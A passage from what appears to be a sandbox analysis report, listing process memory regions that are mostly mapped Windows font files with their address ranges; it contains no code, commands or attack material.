0x21c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajb.ttf" filename = "\\Windows\\Fonts\\aparajb.ttf" (normalized: "c:\\windows\\fonts\\aparajb.ttf") Region: id = 659 start_va = 0x2190000 end_va = 0x21c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajb.ttf" filename = "\\Windows\\Fonts\\aparajb.ttf" (normalized: "c:\\windows\\fonts\\aparajb.ttf") Region: id = 660 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajbi.ttf" filename = "\\Windows\\Fonts\\aparajbi.ttf" (normalized: "c:\\windows\\fonts\\aparajbi.ttf") Region: id = 661 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajbi.ttf" filename = "\\Windows\\Fonts\\aparajbi.ttf" (normalized: "c:\\windows\\fonts\\aparajbi.ttf") Region: id = 662 start_va = 0x2190000 end_va = 0x21cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaji.ttf" filename = "\\Windows\\Fonts\\aparaji.ttf" (normalized: "c:\\windows\\fonts\\aparaji.ttf") Region: id = 663 start_va = 0x2190000 end_va = 0x21cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaji.ttf" filename = "\\Windows\\Fonts\\aparaji.ttf" (normalized: "c:\\windows\\fonts\\aparaji.ttf") Region: id = 664 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordia.ttf" filename = "\\Windows\\Fonts\\cordia.ttf" (normalized: "c:\\windows\\fonts\\cordia.ttf") Region: id = 665 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordia.ttf" filename = "\\Windows\\Fonts\\cordia.ttf" (normalized: "c:\\windows\\fonts\\cordia.ttf") Region: id = 666 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiai.ttf" filename = "\\Windows\\Fonts\\cordiai.ttf" (normalized: "c:\\windows\\fonts\\cordiai.ttf") Region: id = 667 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiai.ttf" filename = "\\Windows\\Fonts\\cordiai.ttf" (normalized: "c:\\windows\\fonts\\cordiai.ttf") Region: id = 668 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiab.ttf" filename = "\\Windows\\Fonts\\cordiab.ttf" (normalized: "c:\\windows\\fonts\\cordiab.ttf") Region: id = 669 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiab.ttf" filename = "\\Windows\\Fonts\\cordiab.ttf" (normalized: "c:\\windows\\fonts\\cordiab.ttf") Region: id = 670 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaz.ttf" filename = "\\Windows\\Fonts\\cordiaz.ttf" (normalized: "c:\\windows\\fonts\\cordiaz.ttf") Region: id = 671 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaz.ttf" filename = "\\Windows\\Fonts\\cordiaz.ttf" (normalized: "c:\\windows\\fonts\\cordiaz.ttf") Region: id = 672 start_va = 0x2190000 end_va = 0x21dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrima.ttf" filename = "\\Windows\\Fonts\\ebrima.ttf" (normalized: "c:\\windows\\fonts\\ebrima.ttf") Region: id = 673 start_va = 0x2190000 end_va = 0x21dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrima.ttf" filename = "\\Windows\\Fonts\\ebrima.ttf" (normalized: "c:\\windows\\fonts\\ebrima.ttf") Region: id = 674 start_va = 0x2190000 end_va = 0x21d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrimabd.ttf" filename = "\\Windows\\Fonts\\ebrimabd.ttf" (normalized: "c:\\windows\\fonts\\ebrimabd.ttf") Region: id = 675 start_va = 0x2190000 end_va = 0x21d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrimabd.ttf" filename = "\\Windows\\Fonts\\ebrimabd.ttf" (normalized: "c:\\windows\\fonts\\ebrimabd.ttf") Region: id = 676 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gisha.ttf" filename = "\\Windows\\Fonts\\gisha.ttf" (normalized: "c:\\windows\\fonts\\gisha.ttf") Region: id = 677 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gisha.ttf" filename = "\\Windows\\Fonts\\gisha.ttf" (normalized: "c:\\windows\\fonts\\gisha.ttf") Region: id = 678 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gishabd.ttf" filename = "\\Windows\\Fonts\\gishabd.ttf" (normalized: "c:\\windows\\fonts\\gishabd.ttf") Region: id = 679 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gishabd.ttf" filename = "\\Windows\\Fonts\\gishabd.ttf" (normalized: "c:\\windows\\fonts\\gishabd.ttf") Region: id = 680 start_va = 0x2190000 end_va = 0x21c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokila.ttf" filename = "\\Windows\\Fonts\\kokila.ttf" (normalized: "c:\\windows\\fonts\\kokila.ttf") Region: id = 681 start_va = 0x2190000 end_va = 0x21c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokila.ttf" filename = "\\Windows\\Fonts\\kokila.ttf" (normalized: "c:\\windows\\fonts\\kokila.ttf") Region: id = 682 start_va = 0x2190000 end_va = 0x21c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilab.ttf" filename = "\\Windows\\Fonts\\kokilab.ttf" (normalized: "c:\\windows\\fonts\\kokilab.ttf") Region: id = 683 start_va = 0x2190000 end_va = 0x21c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilab.ttf" filename = "\\Windows\\Fonts\\kokilab.ttf" (normalized: "c:\\windows\\fonts\\kokilab.ttf") Region: id = 684 start_va = 0x2190000 end_va = 0x21c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilabi.ttf" filename = "\\Windows\\Fonts\\kokilabi.ttf" (normalized: "c:\\windows\\fonts\\kokilabi.ttf") Region: id = 685 start_va = 0x2190000 end_va = 0x21c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilabi.ttf" filename = "\\Windows\\Fonts\\kokilabi.ttf" (normalized: "c:\\windows\\fonts\\kokilabi.ttf") Region: id = 686 start_va = 0x2190000 end_va = 0x21cbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilai.ttf" filename = "\\Windows\\Fonts\\kokilai.ttf" (normalized: "c:\\windows\\fonts\\kokilai.ttf") Region: id = 687 start_va = 0x2190000 end_va = 0x21cbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilai.ttf" filename = "\\Windows\\Fonts\\kokilai.ttf" (normalized: "c:\\windows\\fonts\\kokilai.ttf") Region: id = 688 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawad.ttf" filename = "\\Windows\\Fonts\\leelawad.ttf" (normalized: "c:\\windows\\fonts\\leelawad.ttf") Region: id = 689 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawad.ttf" filename = "\\Windows\\Fonts\\leelawad.ttf" (normalized: "c:\\windows\\fonts\\leelawad.ttf") Region: id = 690 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawdb.ttf" filename = "\\Windows\\Fonts\\leelawdb.ttf" (normalized: "c:\\windows\\fonts\\leelawdb.ttf") Region: id = 691 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawdb.ttf" filename = "\\Windows\\Fonts\\leelawdb.ttf" (normalized: "c:\\windows\\fonts\\leelawdb.ttf") Region: id = 692 start_va = 0x2190000 end_va = 0x21c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighur.ttf" filename = "\\Windows\\Fonts\\msuighur.ttf" (normalized: "c:\\windows\\fonts\\msuighur.ttf") Region: id = 693 start_va = 0x2190000 end_va = 0x21c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighur.ttf" filename = "\\Windows\\Fonts\\msuighur.ttf" (normalized: "c:\\windows\\fonts\\msuighur.ttf") Region: id = 694 start_va = 0x2190000 end_va = 0x21e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "moolbor.ttf" filename = "\\Windows\\Fonts\\moolbor.ttf" (normalized: "c:\\windows\\fonts\\moolbor.ttf") Region: id = 695 start_va = 0x2190000 end_va = 0x21e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "moolbor.ttf" filename = "\\Windows\\Fonts\\moolbor.ttf" (normalized: "c:\\windows\\fonts\\moolbor.ttf") Region: id = 696 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "symbol.ttf" filename = "\\Windows\\Fonts\\symbol.ttf" (normalized: "c:\\windows\\fonts\\symbol.ttf") Region: id = 697 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "symbol.ttf" filename = "\\Windows\\Fonts\\symbol.ttf" (normalized: "c:\\windows\\fonts\\symbol.ttf") Region: id = 698 start_va = 0x2190000 end_va = 0x21c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaah.ttf" filename = "\\Windows\\Fonts\\utsaah.ttf" (normalized: "c:\\windows\\fonts\\utsaah.ttf") Region: id = 699 start_va = 0x2190000 end_va = 0x21c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaah.ttf" filename = "\\Windows\\Fonts\\utsaah.ttf" (normalized: "c:\\windows\\fonts\\utsaah.ttf") Region: id = 700 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahb.ttf" filename = "\\Windows\\Fonts\\utsaahb.ttf" (normalized: "c:\\windows\\fonts\\utsaahb.ttf") Region: id = 701 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahb.ttf" filename = "\\Windows\\Fonts\\utsaahb.ttf" (normalized: "c:\\windows\\fonts\\utsaahb.ttf") Region: id = 702 start_va = 0x2190000 end_va = 0x21c5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahbi.ttf" filename = "\\Windows\\Fonts\\utsaahbi.ttf" (normalized: "c:\\windows\\fonts\\utsaahbi.ttf") Region: id = 703 start_va = 0x2190000 end_va = 0x21c5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahbi.ttf" filename = "\\Windows\\Fonts\\utsaahbi.ttf" (normalized: "c:\\windows\\fonts\\utsaahbi.ttf") Region: id = 704 start_va = 0x2190000 end_va = 0x21cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahi.ttf" filename = "\\Windows\\Fonts\\utsaahi.ttf" (normalized: "c:\\windows\\fonts\\utsaahi.ttf") Region: id = 705 start_va = 0x2190000 end_va = 0x21cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahi.ttf" filename = "\\Windows\\Fonts\\utsaahi.ttf" (normalized: "c:\\windows\\fonts\\utsaahi.ttf") Region: id = 706 start_va = 0x5b0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijaya.ttf" filename = "\\Windows\\Fonts\\vijaya.ttf" (normalized: "c:\\windows\\fonts\\vijaya.ttf") Region: id = 707 start_va = 0x5b0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijaya.ttf" filename = "\\Windows\\Fonts\\vijaya.ttf" (normalized: "c:\\windows\\fonts\\vijaya.ttf") Region: id = 708 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijayab.ttf" filename = "\\Windows\\Fonts\\vijayab.ttf" (normalized: "c:\\windows\\fonts\\vijayab.ttf") Region: id = 709 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijayab.ttf" filename = "\\Windows\\Fonts\\vijayab.ttf" (normalized: "c:\\windows\\fonts\\vijayab.ttf") Region: id = 710 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingding.ttf" filename = "\\Windows\\Fonts\\wingding.ttf" (normalized: "c:\\windows\\fonts\\wingding.ttf") Region: id = 711 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingding.ttf" filename = "\\Windows\\Fonts\\wingding.ttf" (normalized: "c:\\windows\\fonts\\wingding.ttf") Region: id = 712 start_va = 0x440000 end_va = 0x442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "modern.fon" filename = "\\Windows\\Fonts\\modern.fon" (normalized: "c:\\windows\\fonts\\modern.fon") Region: id = 713 start_va = 0x440000 end_va = 0x443fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roman.fon" filename = "\\Windows\\Fonts\\roman.fon" (normalized: "c:\\windows\\fonts\\roman.fon") Region: id = 714 start_va = 0x440000 end_va = 0x442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "script.fon" filename = "\\Windows\\Fonts\\script.fon" (normalized: "c:\\windows\\fonts\\script.fon") Region: id = 715 start_va = 0x5b0000 end_va = 0x5d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "andlso.ttf" filename = "\\Windows\\Fonts\\andlso.ttf" (normalized: "c:\\windows\\fonts\\andlso.ttf") Region: id = 716 start_va = 0x5b0000 end_va = 0x5d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "andlso.ttf" filename = "\\Windows\\Fonts\\andlso.ttf" (normalized: "c:\\windows\\fonts\\andlso.ttf") Region: id = 717 start_va = 0x2190000 end_va = 0x2228fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arabtype.ttf" filename = "\\Windows\\Fonts\\arabtype.ttf" (normalized: "c:\\windows\\fonts\\arabtype.ttf") Region: id = 718 start_va = 0x2190000 end_va = 0x2228fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arabtype.ttf" filename = "\\Windows\\Fonts\\arabtype.ttf" (normalized: "c:\\windows\\fonts\\arabtype.ttf") Region: id = 719 start_va = 0x1d290000 end_va = 0x1e25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d290000" filename = "" Region: id = 720 start_va = 0x470000 end_va = 0x48efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpo.ttf" filename = "\\Windows\\Fonts\\simpo.ttf" (normalized: "c:\\windows\\fonts\\simpo.ttf") Region: id = 721 start_va = 0x470000 end_va = 0x48efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpo.ttf" filename = "\\Windows\\Fonts\\simpo.ttf" (normalized: "c:\\windows\\fonts\\simpo.ttf") Region: id = 722 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpbdo.ttf" filename = "\\Windows\\Fonts\\simpbdo.ttf" (normalized: "c:\\windows\\fonts\\simpbdo.ttf") Region: id = 723 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpbdo.ttf" filename = "\\Windows\\Fonts\\simpbdo.ttf" (normalized: "c:\\windows\\fonts\\simpbdo.ttf") Region: id = 724 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpfxo.ttf" filename = "\\Windows\\Fonts\\simpfxo.ttf" (normalized: "c:\\windows\\fonts\\simpfxo.ttf") Region: id = 725 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpfxo.ttf" filename = "\\Windows\\Fonts\\simpfxo.ttf" (normalized: "c:\\windows\\fonts\\simpfxo.ttf") Region: id = 726 start_va = 0x2190000 end_va = 0x21eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majalla.ttf" filename = "\\Windows\\Fonts\\majalla.ttf" (normalized: "c:\\windows\\fonts\\majalla.ttf") Region: id = 727 start_va = 0x2190000 end_va = 0x21eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majalla.ttf" filename = "\\Windows\\Fonts\\majalla.ttf" (normalized: "c:\\windows\\fonts\\majalla.ttf") Region: id = 728 start_va = 0x2190000 end_va = 0x21ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majallab.ttf" filename = "\\Windows\\Fonts\\majallab.ttf" (normalized: "c:\\windows\\fonts\\majallab.ttf") Region: id = 729 start_va = 0x2190000 end_va = 0x21ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majallab.ttf" filename = "\\Windows\\Fonts\\majallab.ttf" (normalized: "c:\\windows\\fonts\\majallab.ttf") Region: id = 730 start_va = 0x5b0000 end_va = 0x5dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trado.ttf" filename = "\\Windows\\Fonts\\trado.ttf" (normalized: "c:\\windows\\fonts\\trado.ttf") Region: id = 731 start_va = 0x5b0000 end_va = 0x5dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trado.ttf" filename = "\\Windows\\Fonts\\trado.ttf" (normalized: "c:\\windows\\fonts\\trado.ttf") Region: id = 732 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tradbdo.ttf" filename = "\\Windows\\Fonts\\tradbdo.ttf" (normalized: "c:\\windows\\fonts\\tradbdo.ttf") Region: id = 733 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tradbdo.ttf" filename = "\\Windows\\Fonts\\tradbdo.ttf" (normalized: "c:\\windows\\fonts\\tradbdo.ttf") Region: id = 734 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ahronbd.ttf" filename = "\\Windows\\Fonts\\ahronbd.ttf" (normalized: "c:\\windows\\fonts\\ahronbd.ttf") Region: id = 735 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ahronbd.ttf" filename = "\\Windows\\Fonts\\ahronbd.ttf" (normalized: "c:\\windows\\fonts\\ahronbd.ttf") Region: id = 736 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "david.ttf" filename = "\\Windows\\Fonts\\david.ttf" (normalized: "c:\\windows\\fonts\\david.ttf") Region: id = 737 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "david.ttf" filename = "\\Windows\\Fonts\\david.ttf" (normalized: "c:\\windows\\fonts\\david.ttf") Region: id = 738 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "davidbd.ttf" filename = "\\Windows\\Fonts\\davidbd.ttf" (normalized: "c:\\windows\\fonts\\davidbd.ttf") Region: id = 739 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "davidbd.ttf" filename = "\\Windows\\Fonts\\davidbd.ttf" (normalized: "c:\\windows\\fonts\\davidbd.ttf") Region: id = 740 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frank.ttf" filename = "\\Windows\\Fonts\\frank.ttf" (normalized: "c:\\windows\\fonts\\frank.ttf") Region: id = 741 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frank.ttf" filename = "\\Windows\\Fonts\\frank.ttf" (normalized: "c:\\windows\\fonts\\frank.ttf") Region: id = 742 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnm.ttf" filename = "\\Windows\\Fonts\\lvnm.ttf" (normalized: "c:\\windows\\fonts\\lvnm.ttf") Region: id = 743 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnm.ttf" filename = "\\Windows\\Fonts\\lvnm.ttf" (normalized: "c:\\windows\\fonts\\lvnm.ttf") Region: id = 744 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnmbd.ttf" filename = "\\Windows\\Fonts\\lvnmbd.ttf" (normalized: "c:\\windows\\fonts\\lvnmbd.ttf") Region: id = 745 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnmbd.ttf" filename = "\\Windows\\Fonts\\lvnmbd.ttf" (normalized: "c:\\windows\\fonts\\lvnmbd.ttf") Region: id = 746 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriam.ttf" filename = "\\Windows\\Fonts\\mriam.ttf" (normalized: "c:\\windows\\fonts\\mriam.ttf") Region: id = 747 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriam.ttf" filename = "\\Windows\\Fonts\\mriam.ttf" (normalized: "c:\\windows\\fonts\\mriam.ttf") Region: id = 748 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriamc.ttf" filename = "\\Windows\\Fonts\\mriamc.ttf" (normalized: "c:\\windows\\fonts\\mriamc.ttf") Region: id = 749 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriamc.ttf" filename = "\\Windows\\Fonts\\mriamc.ttf" (normalized: "c:\\windows\\fonts\\mriamc.ttf") Region: id = 750 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nrkis.ttf" filename = "\\Windows\\Fonts\\nrkis.ttf" (normalized: "c:\\windows\\fonts\\nrkis.ttf") Region: id = 751 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nrkis.ttf" filename = "\\Windows\\Fonts\\nrkis.ttf" (normalized: "c:\\windows\\fonts\\nrkis.ttf") Region: id = 752 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rod.ttf" filename = "\\Windows\\Fonts\\rod.ttf" (normalized: "c:\\windows\\fonts\\rod.ttf") Region: id = 753 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rod.ttf" filename = "\\Windows\\Fonts\\rod.ttf" (normalized: "c:\\windows\\fonts\\rod.ttf") Region: id = 754 start_va = 0x1b500000 end_va = 0x1bf16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simfang.ttf" filename = "\\Windows\\Fonts\\simfang.ttf" (normalized: "c:\\windows\\fonts\\simfang.ttf") Region: id = 755 start_va = 0x1b500000 end_va = 0x1bf16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simfang.ttf" filename = "\\Windows\\Fonts\\simfang.ttf" (normalized: "c:\\windows\\fonts\\simfang.ttf") Region: id = 756 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simhei.ttf" filename = "\\Windows\\Fonts\\simhei.ttf" (normalized: "c:\\windows\\fonts\\simhei.ttf") Region: id = 757 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simhei.ttf" filename = "\\Windows\\Fonts\\simhei.ttf" (normalized: "c:\\windows\\fonts\\simhei.ttf") Region: id = 758 start_va = 0x1b500000 end_va = 0x1c03dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simkai.ttf" filename = "\\Windows\\Fonts\\simkai.ttf" (normalized: "c:\\windows\\fonts\\simkai.ttf") Region: id = 759 start_va = 0x1b500000 end_va = 0x1c03dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simkai.ttf" filename = "\\Windows\\Fonts\\simkai.ttf" (normalized: "c:\\windows\\fonts\\simkai.ttf") Region: id = 760 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsau.ttf" filename = "\\Windows\\Fonts\\angsau.ttf" (normalized: "c:\\windows\\fonts\\angsau.ttf") Region: id = 761 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsau.ttf" filename = "\\Windows\\Fonts\\angsau.ttf" (normalized: "c:\\windows\\fonts\\angsau.ttf") Region: id = 762 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaui.ttf" filename = "\\Windows\\Fonts\\angsaui.ttf" (normalized: "c:\\windows\\fonts\\angsaui.ttf") Region: id = 763 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaui.ttf" filename = "\\Windows\\Fonts\\angsaui.ttf" (normalized: "c:\\windows\\fonts\\angsaui.ttf") Region: id = 764 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaub.ttf" filename = "\\Windows\\Fonts\\angsaub.ttf" (normalized: "c:\\windows\\fonts\\angsaub.ttf") Region: id = 765 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaub.ttf" filename = "\\Windows\\Fonts\\angsaub.ttf" (normalized: "c:\\windows\\fonts\\angsaub.ttf") Region: id = 766 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsauz.ttf" filename = "\\Windows\\Fonts\\angsauz.ttf" (normalized: "c:\\windows\\fonts\\angsauz.ttf") Region: id = 767 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsauz.ttf" filename = "\\Windows\\Fonts\\angsauz.ttf" (normalized: "c:\\windows\\fonts\\angsauz.ttf") Region: id = 768 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browa.ttf" filename = "\\Windows\\Fonts\\browa.ttf" (normalized: "c:\\windows\\fonts\\browa.ttf") Region: id = 769 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browa.ttf" filename = "\\Windows\\Fonts\\browa.ttf" (normalized: "c:\\windows\\fonts\\browa.ttf") Region: id = 770 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browai.ttf" filename = "\\Windows\\Fonts\\browai.ttf" (normalized: "c:\\windows\\fonts\\browai.ttf") Region: id = 771 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browai.ttf" filename = "\\Windows\\Fonts\\browai.ttf" (normalized: "c:\\windows\\fonts\\browai.ttf") Region: id = 772 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browab.ttf" filename = "\\Windows\\Fonts\\browab.ttf" (normalized: "c:\\windows\\fonts\\browab.ttf") Region: id = 773 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browab.ttf" filename = "\\Windows\\Fonts\\browab.ttf" (normalized: "c:\\windows\\fonts\\browab.ttf") Region: id = 774 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaz.ttf" filename = "\\Windows\\Fonts\\browaz.ttf" (normalized: "c:\\windows\\fonts\\browaz.ttf") Region: id = 775 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaz.ttf" filename = "\\Windows\\Fonts\\browaz.ttf" (normalized: "c:\\windows\\fonts\\browaz.ttf") Region: id = 776 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browau.ttf" filename = "\\Windows\\Fonts\\browau.ttf" (normalized: "c:\\windows\\fonts\\browau.ttf") Region: id = 777 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browau.ttf" filename = "\\Windows\\Fonts\\browau.ttf" (normalized: "c:\\windows\\fonts\\browau.ttf") Region: id = 778 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaui.ttf" filename = "\\Windows\\Fonts\\browaui.ttf" (normalized: "c:\\windows\\fonts\\browaui.ttf") Region: id = 779 start_va = 0x470000 end_va = 0x488fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaui.ttf" filename = "\\Windows\\Fonts\\browaui.ttf" (normalized: "c:\\windows\\fonts\\browaui.ttf") Region: id = 780 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaub.ttf" filename = "\\Windows\\Fonts\\browaub.ttf" (normalized: "c:\\windows\\fonts\\browaub.ttf") Region: id = 781 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaub.ttf" filename = "\\Windows\\Fonts\\browaub.ttf" (normalized: "c:\\windows\\fonts\\browaub.ttf") Region: id = 782 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browauz.ttf" filename = "\\Windows\\Fonts\\browauz.ttf" (normalized: "c:\\windows\\fonts\\browauz.ttf") Region: id = 783 start_va = 0x470000 end_va = 